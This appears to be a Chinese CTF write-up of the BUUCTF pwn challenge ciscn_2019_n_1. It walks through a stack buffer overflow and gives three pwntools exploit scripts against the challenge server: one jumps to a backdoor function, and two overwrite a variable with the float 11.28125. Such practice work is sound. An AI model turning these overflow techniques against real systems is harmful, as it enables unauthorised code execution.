参考:BUUCTF-ciscn_2019_n_1 - 纸鸢asahi - 博客园 (cnblogs.com)
buuctf 刷题记录_PWN ciscn_2019_n_1 - MuRKuo - 博客园 (cnblogs.com)
从题海中入门(四)ciscn_2019_n_1 - FreeBuf网络安全行业门户
ciscn_2019_n_1 ——两种解法_0x41348000-CSDN博客
checksec检查是64位,开启了NX保护
运行效果如下:
main函数:
func()函数
需要v1变量溢出到v2,然后给v2 11.28125的值
查看变量在栈中的位置:v1 0x30 v2 0x04
11.28125的十六进制值是0x41348000
后门函数的地址是0x4006BE
先尝试溢出到RBP执行后门函数,写exp如下:
#!/usr/bin/python
from pwn import *
io=remote("node5.buuoj.cn",28248)
payload=b'a'*(0x30+8)+p64(0x4006BE)
io.sendline(payload)
io.interactive()
这里为了堆栈平衡+1反而没办法打通,不+1反而可以成功,因此后面做题的时候加不加1都试一下
堆栈平衡详细参考:CTFer成长日记12:栈对齐—获取shell前的临门一脚 - 知乎 (zhihu.com)
执行结果如下:
这里再试验第二种思路,溢出到变量2
有两种exp
第一种:
from pwn import *
import struct
p = remote('node5.buuoj.cn',28248)
payload = b'a'*(0x30-0x4) + struct.pack('<f',11.28125)
p.sendline(payload)
p.interactive()
执行结果如下:
第二种:
from pwn import *
import struct
p = remote('node5.buuoj.cn',28248)
payload = b'a'*(0x30-0x4) + p64(0x41348000)
p.sendline(payload)
p.interactive()
执行结果如下: